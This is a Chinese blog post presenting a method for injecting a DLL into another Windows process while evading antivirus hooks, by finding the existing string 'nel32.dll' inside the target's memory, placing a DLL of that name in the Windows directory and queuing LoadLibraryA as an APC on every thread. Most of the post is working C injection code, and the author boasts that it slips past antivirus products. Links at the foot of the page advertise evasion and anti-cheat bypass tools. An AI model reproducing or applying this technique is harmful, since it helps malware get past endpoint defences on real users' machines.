`

绕过主动防御的代码注入方法思考

阅读更多

目前大多数的杀软都是hook NtWriteVirtualMemory和NtUserSetWindowsHookAW、NtUserSetWindowsHookE来防止代码注入。

关于代码注入Ring3层的方法主要有:

l 远程线程CreateRemoteThread

l 消息钩子SetWindowsHookEx

l Ring3 APC QueueUserApc

l 修改线程上下文SetContextThread

其中第一种和第三种方法需要传入一个param,但是要求这个param必须在目标进程内存空间,之前的一些方法比较笨重,直接在目标进程VirtualAllocEx内存,然后把希望的参数内容写入这个内存,使用了WriteProcessMemory函数,而这个函数是被hook的,所以杀软可以很容易的拦截代码注入行为。

仔细想想,杀软的这种防御是很失败的!原因是为了要一个param,攻击者完全没有必要做这么大的动作去目标进程内存空间申请内存并写内存,我在思考是否可以不用WriteProcessMemory函数呢?反正我的目的就是得到一个合理的param,并且这个param是在目标进程内存空间即可!

思考后,原来一切是这么容易啊,哈哈!乐了我半天~~~

举个例子:假设我是这样注入的:

QueueUserAPC((PAPCFUNC)LoadLibraryA, hThread, (ULONG_PTR)param) ;

我想让上面的param的内容是一个“xxx.dll”,就可以了,而且要求这个param是在目标进程内存空间

您想到了么?哈哈

答案:直接在目标进程搜索一个这样的字符串“nel32.dll”就可以啦!因为“kernel32.dll” 这样的字符串是一定存在的,那么为了和“kernel32.dll” 不一样,那就随便使用一下“nel32.dll”,或者“el32.dll”,都是可以的啊!最后在往windows目录下面撂进入一个nel32.dll,这样注入大部分杀软都是不能拦截到的!哈哈!

写了段程序,做了个试验,仅测试了下趋势,完美绕过!其实杀软稍后测试。。。

DWORD EnumThreadandInjectDll(char *processName,HANDLE hProcess, DWORD dwProcessID,TIDLIST *pThreadIdList)
{
TIDLIST *pCurrentTid = pThreadIdList ;

const char szInjectModName[] = "nel32.dll";
DWORD dwLen = strlen(szInjectModName) ;

//////////////////////////////////////////////////////////////////////////
//不写目标进程的内存
//直接在目标进程中搜索出 nel32.dll 这样的字符串 并注入
//////////////////////////////////////////////////////////////////////////
int bufflen=30000;
char *buffer=(char *)malloc(sizeof(char)*bufflen);
DWORD dwNumberOfBytesRead;
DWORD defaultAddress;
//获得该进程的基址
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, dwProcessID) ;
if(!hSnapshot)
{
   printf("CreateToolhelp32Snapshot error!\n");
   return 0;
}
MODULEENTRY32 me = { sizeof(me) };
    BOOL fOk =Module32First(hSnapshot,&me);
if(!fOk)
{
   printf("Module32First error!\n");
   return 0;
}
    for (; fOk; fOk = Module32Next(hSnapshot,&me))
    {
   printf("%s process module name = %s\n",processName,me.szModule);
        // 取得进程模块基址
   if(stricmp(me.szModule,processName)==0)
   {
    defaultAddress=(DWORD)me.modBaseAddr;
    printf("%s process module base = 0x%08X\n",processName,defaultAddress);
    break;
   }
    }
//搜索
if(!ReadProcessMemory(hProcess,(LPCVOID)defaultAddress,buffer,bufflen,&dwNumberOfBytesRead))
{
   printf("ReadProcessMemory error!\n");
   return 0;
}

for(int i=0;i<bufflen-dwLen;i++)
{
   if(strnicmp(buffer+i,szInjectModName,dwLen)==0)
   {
    printf("found nel32.dll already!... %s\n",buffer+i);
    while (pCurrentTid)
    {
     HANDLE hThread = OpenThread(THREAD_ALL_ACCESS, FALSE, pCurrentTid->dwTid) ;
   
     if (hThread != NULL)
     {
      //
      // 注入DLL到指定进程
      //
      QueueUserAPC((PAPCFUNC)LoadLibraryA, hThread, (ULONG_PTR)(defaultAddress+i)) ;
     }
   
     printf("TID:%d\n", pCurrentTid->dwTid) ;
     pCurrentTid = pCurrentTid->pNext ;
    }
    break;
   }
}

return 0 ;
}

分享到:
评论

相关推荐

    另类过主动防御系统代码.7z

    然而,黑客和恶意软件开发者也在不断寻找方法绕过这些防御机制,"另类过主动防御系统代码"可能就是针对这一需求而设计的一种技术手段。 首先,我们要理解什么是"Hook Mode Inject"。Hook模式注入是黑客常用的逃避...

    sql注入绕过方法总结

    sql注入绕过方法总结,绕过waf,D盾

    过主动防御的程序过主动防御的程序

    标题中的“过主动防御的程序”指的是绕过计算机系统中主动防御机制的程序。主动防御是一种先进的安全技术,它通常包含在反病毒软件或防火墙中,用于实时监控和阻止潜在的恶意活动。这种防御机制通过行为分析、启发式...

    过瑞星2010主动防御 免杀教程 过主动防御

    标题中的“过瑞星2010主动防御 免杀教程 过主动防御”表明了这个教程的内容是关于如何让恶意软件或者程序绕过瑞星2010安全软件的主动防御机制。主动防御是现代杀毒软件的一种重要功能,它能够在病毒、木马等恶意软件...

    郁金香代码注入器

    这种方法可以用来绕过某些安全机制,或者在不修改原有程序的情况下影响其行为。常见的代码注入技术包括DLL注入、API钩子、线程创建等。 郁金香代码注入器这个名字中的“郁金香”可能是一个代号或者项目名称,它可能...

    2010最新全免杀双过主动. 免杀 过主动防御 过瑞星主动防御

    标题中的“2010最新全免杀双过主动”指的是该压缩包内可能包含的是一种针对2010年安全环境的免杀技术,它声称可以避开两种或以上的主动防御系统,特别是“过瑞星主动防御”,意味着它可以绕过瑞星这款知名杀毒软件的...

    汇编代码注入器,支持x64和x86

    这种方式能够绕过静态分析和安全防护机制,常用于软件调试、性能优化、安全测试以及恶意软件攻击等场景。汇编语言因其底层特性,使得注入的代码能更直接地控制计算机硬件,提高执行效率。 二、x86架构的代码注入 ...

    EAC反作弊绕过工具源代码_NP_dbd绕过eac_绕过np_绕过eac_np反作弊_

    本文将深入探讨EAC反作弊系统的工作原理、"NP_dbd绕过eac"的概念以及如何实现反作弊绕过工具的源代码。 首先,EAC是一种广泛使用的反作弊解决方案,它通过监控游戏进程、内存扫描、网络数据包分析等方式,防止非法...

    mysql注入绕过技术

    ### MySQL注入绕过技术 #### 引言 在网络安全领域,SQL注入是一种常见的攻击手段,攻击者通过在应用程序中插入恶意SQL代码来控制数据库。针对这种威胁,许多开发者实施了过滤机制来防御潜在的SQL注入攻击。然而,...

    代码注入的三种方法(中英文合集)

    这通常涉及读取、修改和写入进程内存,绕过目标程序的常规控制流。内存注入可以用于动态分析、调试,或者创建隐蔽的恶意行为。例如,通过以下步骤实现内存注入: - 获取目标进程的句柄,使用VirtualAllocEx函数在...

    代码注入的几种方法(源码 文档)

    在这个主题中,我们将深入探讨几种常见的代码注入方法,并结合提供的源码和文档资源进行学习。 1. **DLL注入**: DLL注入是将动态链接库(DLL)的代码注入到另一个进程的方法。通过调用`LoadLibrary`或`...

    x86,x64 汇编代码注入器 C,C++写的

    win10x64.sys和win7x64.sys则可能是系统驱动,用于提供更高的权限或者处理某些特定操作,例如绕过用户模式下的访问限制。 值得注意的是,驱动程序的使用需要特殊权限,并且在Windows中,未经数字签名的驱动程序在...

    通过模拟鼠标点击实现突破主动防御

    这种机制虽然能有效防止一些恶意行为,但也可能被黑客或恶意软件利用来绕过防御。 "通过模拟鼠标点击实现突破主动防御"这一话题,涉及的是如何在自动化或程序化环境中,模拟用户的交互行为,以规避安全软件的检测。...

    基于正则类sql注入防御的绕过技巧.pdf

    "基于正则类sql注入防御的绕过技巧" ...但是,这些技巧对防御机制的绕过并不是绝对的,攻击者需要不断地尝试和创新,以绕过防御机制。同时,防御者也需要不断地升级和改进防御机制,以防止攻击者的绕过。

    免杀360过主动防御加入白名单代码放出

    标题提到的"免杀360过主动防御加入白名单代码放出",是指有开发者分享了能够使程序避开360安全卫士的主动防御机制并加入到其白名单中的代码。360主动防御是360安全卫士的重要功能,它通过行为分析、特征匹配等技术,...

    代码注入器_带异常保护

    而在恶意软件中,攻击者可能会利用代码注入绕过系统安全机制,执行恶意操作。 汇编转换是代码注入过程中的关键步骤之一。因为计算机直接执行的是机器码,即二进制形式的指令,所以通常需要将高级语言(如C++或...

    汇编代码注入器

    由于汇编代码可以直接操作内存,它可以绕过游戏的安全机制,直接改变游戏状态。然而,这种行为违反了大多数在线游戏的服务条款,可能导致账号被封禁。 在**系统优化**方面,汇编代码注入可以用于提高程序性能。例如...

    Web应用安全:使用SQL注入绕过认证实验.doc

    2. 掌握多种常见的SQL注入绕过技巧,增强防御SQL注入的能力。 二、实验内容 实验涉及的主要绕过策略包括: 1. 注释符绕过:利用SQL语句中的注释符,如`--`、`/**/`、`#`,将无效的SQL代码注释掉,使有效代码得以...

Global site tag (gtag.js) - Google Analytics